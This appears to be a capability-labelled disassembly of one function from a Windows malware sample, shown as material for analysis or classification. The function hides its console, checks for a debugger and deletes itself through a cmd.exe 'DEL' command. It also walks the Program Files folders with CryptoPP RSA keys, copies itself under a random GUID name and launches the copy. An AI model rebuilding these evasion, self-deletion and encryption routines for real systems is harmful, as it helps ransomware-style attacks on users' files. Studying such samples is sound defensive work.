Function at 0x140015080
Capabilities:
Copy file
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc10]
sub rsp, 0xd10
mov rax, qword [0x1400ad388]
xor rax, rsp
mov qword [rbp + 0xc00], rax
mov rbx, rdx
mov qword [rbp - 0x30], rdx
movsxd rdi, ecx
mov dword [rsp + 0x60], edi
xor r15d, r15d
mov dword [rsp + 0x58], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov r14, rdi
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140015219
lea rdi, [rbp + 0x5d0]
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov esi, 1
cmp rsi, r14
jge 0x14001514d
nop
mov rdx, qword [rbx + rsi*8]
lea rcx, [rbp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140094f48]
lea rcx, [rbp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
inc rsi
cmp rsi, r14
jl 0x140015120
lea rdi, [rbp + 0x160]
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x160], 0x68
lea rdi, [rbp + 0x18]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x5d0]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rdx, str._c_START__b____cmd__c_DEL__
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [rbx]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.__EXIT
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x3c0]
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rbp - 0x58], r15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x240], r15
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], al
lea rcx, [rbp + 0x250]
call fcn.140014370
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], rax
lea rcx, [rbp + 0x210]
call fcn.1400161a0
nop
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov esi, 1
mov r8d, esi
lea rdx, [0x140095250]
lea rcx, [rbp - 0x50]
call fcn.140006540
nop
lea rcx, [0x140095254]
call fcn.14005bd58
mov r13, 0xffffffffffffffff
mov r9, r13
nop dword [rax + rax]
inc r9
cmp byte [rax + r9], 0
jne 0x1400152e0
mov r8, rax
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140007b00
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14001535d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015358
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400160f2
call fcn.14004c5ac
mov qword [rbp - 8], r15
mov r14, r15
mov qword [rbp + 8], r15
mov r12d, 0xf
mov qword [rbp + 0x10], r12
mov byte [rbp - 8], r14b
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2b0]
call fcn.14004f0a0
mov r8d, 0x104
lea rdx, [rbp + 0x2b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, r15d
mov rdx, r15
cmp byte [rbp + rdx + 0x2b0], 0x5c
jne 0x1400153b1
inc ebx
cmp byte [rbp + rdx + 0x2b1], 0x5c
jne 0x1400153bd
inc ebx
lea eax, [rbx + 1]
cmp byte [rbp + rdx + 0x2b2], 0x5c
cmovne eax, ebx
lea ecx, [rax + 1]
cmp byte [rbp + rdx + 0x2b3], 0x5c
cmovne ecx, eax
lea ebx, [rcx + 1]
cmp byte [rbp + rdx + 0x2b4], 0x5c
cmovne ebx, ecx
add rdx, 5
cmp rdx, 0x104
jl 0x1400153a5
movzx edi, byte [rsp + 0x50]
nop dword [rax]
mov eax, ebx
movzx r9d, byte [rbp + r15 + 0x2b0]
dec ebx
cmp r9b, 0x5c
cmovne ebx, eax
test ebx, ebx
je 0x140015464
cmp r14, r12
jae 0x14001543e
lea rax, [r14 + 1]
mov qword [rbp + 8], rax
lea rax, [rbp - 8]
cmp r12, 0x10
cmovae rax, qword [rbp - 8]
mov byte [rax + r14], r9b
mov byte [rax + r14 + 1], 0
jmp 0x14001544e
movzx r8d, dil
mov rdx, rsi
lea rcx, [rbp - 8]
call fcn.1400072d0
inc r15
cmp r15, 0x104
jge 0x14001549c
mov r12, qword [rbp + 0x10]
mov r14, qword [rbp + 8]
jmp 0x140015400
cmp r14, r12
jae 0x140015487
lea rax, [r14 + 1]
mov qword [rbp + 8], rax
lea rax, [rbp - 8]
cmp r12, 0x10
cmovae rax, qword [rbp - 8]
mov word [rax + r14], 0x5c
jmp 0x14001549c
mov r9b, 0x5c
movzx r8d, byte [rsp + 0x50]
mov rdx, rsi
lea rcx, [rbp - 8]
call fcn.1400072d0
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdx, qword [rbp - 0x28]
lea rcx, [rbp - 8]
mov r15, qword [rbp + 0x10]
cmp r15, 0x10
setae r12b
mov byte [rsp + 0x50], r12b
mov rbx, qword [rbp - 8]
cmovae rcx, rbx
mov r8, qword [rbp + 8]
cmp r8, qword [rbp - 0x18]
jne 0x140015cf3
call fcn.14004e8f0
test eax, eax
jne 0x140015cf3
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
xor edi, edi
mov qword [rbp + 0x80], rdi
movdqu xmmword [rbp + 0x58], xmm1
mov qword [rbp + 0x68], rdi
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
lea rax, [0x140095470]
mov qword [rbp + 0xf0], rax
mov dword [rsp + 0x58], 0x24
lea rax, vtable.CryptoPP::RSAFunction.0
mov qword [rbp + 0xe0], rax
lea rax, vtable.CryptoPP::RSAFunction.1.0
mov qword [rbp + 0xe8], rax
lea rax, vtable.CryptoPP::RSAFunction.2.0
mov qword [rbp + 0x158], rax
lea rcx, [rbp + 0xf8]
call fcn.140028dd0
nop
lea rcx, [rbp + 0x128]
call fcn.140028dd0
nop
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], dil
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], dil
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x58]
lea r8, [rbp + 0x230]
mov rdx, qword [rbp - 0x30]
mov ecx, dword [rsp + 0x60]
call fcn.140013c40
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x38]
call fcn.14000ef70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], rax
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.140041c60
nop
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x160]
call fcn.14004f0a0
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
xor r9d, r9d
lea rcx, [rbp + 0x160]
call fcn.14000aeb0
nop
mov qword [rbp - 0x30], r13
mov rax, qword [rbp + 0x160]
mov byte [rsp + 0x20], 1
lea r9, [0x1400ad008]
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x160]
call qword [rax + 0x100]
mov rax, qword [rbp + 0x90]
mov byte [rsp + 0x20], 1
mov r9d, r13d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x90]
call qword [rax + 0x30]
mov rax, qword [rbp + 0xe8]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xe8]
call qword [rax + 0x38]
nop
lea rax, vtable.CryptoPP::SourceTemplate_class_CryptoPP::FileStore_.1.0
mov qword [rbp + 0x160], rax
lea rax, vtable.CryptoPP::SourceTemplate_class_CryptoPP::FileStore_.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x190]
call fcn.14000ae30
mov rcx, qword [rbp + 0x178]
test rcx, rcx
je 0x1400156f8
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
lea rcx, [rbp + 0x90]
call fcn.140041d40
lea rcx, [rbp + 0x38]
call fcn.14000faf0
lea rdx, [rbp + 0x58]
call fcn.1400039d0
lea rax, [rbp + 0x160]
mov qword [rbp - 0x30], rax
lea r14, [0x140095470]
mov qword [rbp + 0x170], r14
mov edi, 0x26
mov dword [rsp + 0x58], edi
lea rsi, vtable.CryptoPP::RSAFunction.0
mov qword [rbp + 0x160], rsi
lea rax, vtable.CryptoPP::RSAFunction.1.0
mov qword [rbp + 0x168], rax
lea rax, vtable.CryptoPP::RSAFunction.2.0
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x178]
call fcn.140028ad0
nop
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1a8]
call fcn.140028ad0
nop
lea rax, [rbp + 0x160]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x58]
lea r8, [rbp + 0x70]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x210]
call fcn.14000fd30
mov eax, dword [rbp - 0x58]
mov dword [rsp + 0x60], eax
movzx eax, byte [rbp - 0x54]
mov byte [rsp + 0x51], al
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x230]
call fcn.140005020
cmp byte [rbp - 0x53], 1
jne 0x14001587a
lea r15, vtable.CryptoPP::RSAFunction.1.0
lea r12, vtable.CryptoPP::RSAFunction.2.0
nop dword [rax + rax]
lea rax, [rbp + 0x160]
mov qword [rbp - 0x30], rax
mov qword [rbp + 0x170], r14
or edi, 1
mov dword [rsp + 0x58], edi
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x1d8], r12
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x178]
call fcn.140028ad0
nop
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1a8]
call fcn.140028ad0
nop
lea rax, [rbp + 0x160]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x58]
lea r8, [rbp + 0x70]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x210]
call fcn.14000fd30
cmp byte [rbp - 0x53], 1
je 0x1400157f0
mov r15, qword [rbp + 0x10]
movzx r12d, byte [rsp + 0x50]
cmp dword [rbp - 0x58], 2
je 0x140015a28
lea rcx, [rbp + 0x90]
call fcn.14000ce40
nop
lea rax, [rbp + 0x160]
mov qword [rbp - 0x30], rax
mov qword [rbp + 0x170], r14
or edi, 0x10
mov dword [rsp + 0x58], edi
mov qword [rbp + 0x160], rsi
lea rax, vtable.CryptoPP::RSAFunction.1.0
mov qword [rbp + 0x168], rax
lea rax, vtable.CryptoPP::RSAFunction.2.0
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x178]
call fcn.140028ad0
nop
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1a8]
call fcn.140028ad0
nop
lea rcx, str.ProgramFiles
call fcn.14005bd58
xor esi, esi
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], 0xf
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140015916
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.140006540
nop
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x90]
call fcn.1400112b0
lea rax, [rbp + 0x160]
mov qword [rbp - 0x30], rax
mov qword [rbp + 0x170], r14
or edi, 8
mov dword [rsp + 0x58], edi
lea rax, vtable.CryptoPP::RSAFunction.0
mov qword [rbp + 0x160], rax
lea rax, vtable.CryptoPP::RSAFunction.1.0
mov qword [rbp + 0x168], rax
lea rax, vtable.CryptoPP::RSAFunction.2.0
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x178]
call fcn.140028ad0
nop
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1a8]
call fcn.140028ad0
nop
lea rcx, str.ProgramFiles_x86_
call fcn.14005bd58
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], 0xf
nop dword [rax + rax]
inc r13
cmp byte [rax + r13], 0
jne 0x1400159d0
mov r8, r13
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.140006540
nop
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x90]
call fcn.1400112b0
nop
lea rcx, [rbp + 0xc0]
call fcn.140017fd0
lea rcx, [rbp + 0xa8]
call fcn.14001b3d0
lea rcx, [rbp + 0x90]
call fcn.14001b3d0
jmp 0x140015a2a
xor esi, esi
mov r8d, 0x104
lea rdx, [rbp + 0x9f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str._c_START__b____cmd__c_DEL__
lea rcx, [rbp + 0x7e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x9f0]
lea rcx, [rbp + 0x7e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.__EXIT
lea rcx, [rbp + 0x7e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x7e0]
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140015add
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015ad8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400160f8
call fcn.14004c5ac
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140015b29
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015b23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400160fe
call fcn.14004c5ac
nop
mov rcx, qword [rbp + 0x140]
cmp qword [rbp + 0x138], rcx
cmovb rcx, qword [rbp + 0x138]
mov rdx, qword [rbp + 0x148]
test rdx, rdx
je 0x140015b5c
mov rdi, rdx
xor eax, eax
rep stosq qword [rdi], rax
mov rcx, rdx
call fcn.140041bd0
nop
mov rcx, qword [rbp + 0x110]
cmp qword [rbp + 0x108], rcx
cmovb rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x118]
test rdx, rdx
je 0x140015b8f
mov rdi, rdx
xor eax, eax
rep stosq qword [rdi], rax
mov rcx, rdx
call fcn.140041bd0
nop
lea rax, vtable.CryptoPP::X509PublicKey.0
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.CryptoPP::X509PublicKey.1.0
mov qword [rbp + rcx + 0xf0], rax
lea rax, vtable.CryptoPP::NameValuePairs.0
mov qword [rbp + 0x158], rax
lea rcx, [rbp + 0x58]
call fcn.140006440
nop
lea rcx, [rbp + 0x70]
call fcn.14001b3d0
nop
test r12b, r12b
je 0x140015c10
lea rdx, [r15 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140015c07
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016104
mov rcx, rbx
call fcn.14004c5ac
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140015c4b
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015c46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001610a
call fcn.14004c5ac
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
lea rcx, [rbp + 0x210]
call fcn.14001b3d0
nop
lea rcx, [rbp + 0x268]
call fcn.14001b3d0
lea rcx, [rbp + 0x250]
call fcn.140006440
mov rdx, qword [rbp + 0x248]
cmp rdx, 0x10
jb 0x140015cc1
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015cbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016110
call fcn.14004c5ac
xor eax, eax
mov rcx, qword [rbp + 0xc00]
xor rcx, rsp
call fcn.14004c550
lea r11, [rsp + 0xd10]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x18]
call qword [sym.imp.ole32.dll_CoCreateGuid]
mov r8d, 0x27
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x18]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov rbx, rsi
movzx edi, byte [rsp + 0x50]
nop dword [rax]
movzx r9d, byte [rbp + rbx*2 + 0x160]
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
cmp rcx, rdx
jae 0x140015d56
lea rax, [rcx + 1]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140015d66
movzx r8d, dil
mov rdx, rsi
lea rcx, [rbp - 0x28]
call fcn.1400072d0
inc rbx
cmp rbx, 7
jl 0x140015d20
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp - 0x28]
call fcn.1400066a0
lea rcx, [rbp - 0x28]
mov rdi, qword [rbp - 0x18]
cmp qword [rbp - 0x10], 0x10
jb 0x140015d9d
mov r14, qword [rbp - 0x28]
add rdi, r14
jmp 0x140015da4
add rdi, rcx
lea r14, [rbp - 0x28]
xor r15d, r15d
mov qword [rbp - 0x50], r15
mov ecx, r15d
mov qword [rbp - 0x40], rcx
mov r8d, 7
mov qword [rbp - 0x38], r8
mov rdx, rdi
sub rdx, r14
cmp rdx, r8
jbe 0x140015ddb
lea rcx, [rbp - 0x50]
call fcn.140006ca0
mov ecx, r15d
mov qword [rbp - 0x40], rcx
mov r8, qword [rbp - 0x38]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x58], rax
cmp r14, rdi
je 0x140015e3d
movzx ebx, byte [rsp + 0x50]
nop
movsx r9d, byte [r14]
cmp rcx, r8
jae 0x140015e1b
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp r8, 8
cmovae rax, qword [rbp - 0x50]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x140015e2b
movzx r8d, bl
mov rdx, rsi
lea rcx, [rbp - 0x50]
call fcn.140006e10
inc r14
mov r8, qword [rbp - 0x38]
cmp r14, rdi
je 0x140015e3d
mov rcx, qword [rbp - 0x40]
jmp 0x140015df0
lea rdx, [rbp - 0x50]
cmp r8, 8
cmovae rdx, qword [rbp - 0x50]
xor r8d, r8d
mov r14, qword [rbp - 0x30]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
sete dil
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140015ea0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015e9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400160ec
call fcn.14004c5ac
test dil, dil
je 0x140015eae
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movsxd rdi, dword [rsp + 0x60]
cmp edi, 1
jle 0x140016070
lea rcx, [rbp - 0x50]
call fcn.1400060e0
nop
mov rbx, rdi
cmp rsi, rdi
jge 0x140015f74
nop dword [rax]
nop word [rax + rax]
mov rdi, qword [r14 + rsi*8]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x90]
call fcn.14001cfb0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140006c30
nop
mov r8d, 0x22
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.14001cf10
nop
mov r8d, 0x20
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.14001cf10
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.14001a180
lea rcx, [rbp + 0x290]
call fcn.140002060
nop
lea rcx, [rbp - 0x78]
call fcn.140002060
nop
lea rcx, [rsp + 0x68]
call fcn.140002060
nop
lea rcx, [rbp + 0x90]
call fcn.140002060
inc rsi
cmp rsi, rbx
jl 0x140015ee0
lea rcx, [rbp - 0x50]
call fcn.14001a130
mov rbx, rax
lea rcx, [rbp - 0x50]
call fcn.140005f70
mov r8, rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r9d, [rbx + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14004ce44
mov rsi, rax
lea rcx, [rbp - 0x50]
call fcn.140005f70
mov r8, rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
lea r9d, [rbx + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdx, rsi
lea rcx, [rbp + 0x290]
call fcn.140006310
nop
lea r8, [0x140096e28]
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x68]
call fcn.140006750
nop
lea r8, [rbp + 0x290]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.1400068a0
mov rcx, rax
call fcn.1400061f0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0x90]
call fcn.140006220
nop
lea rcx, [rsp + 0x68]
call fcn.140006220
mov rcx, rsi
call fcn.14004c5ac
nop
lea rcx, [rbp + 0x290]
call fcn.140006220
nop
lea rcx, [rbp - 0x50]
call fcn.140002060
jmp 0x140016084
lea rcx, [rbp - 0x28]
call fcn.1400061f0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._c_START__b____cmd__c_DEL__
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [r14]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.__EXIT
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x3c0]
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
int3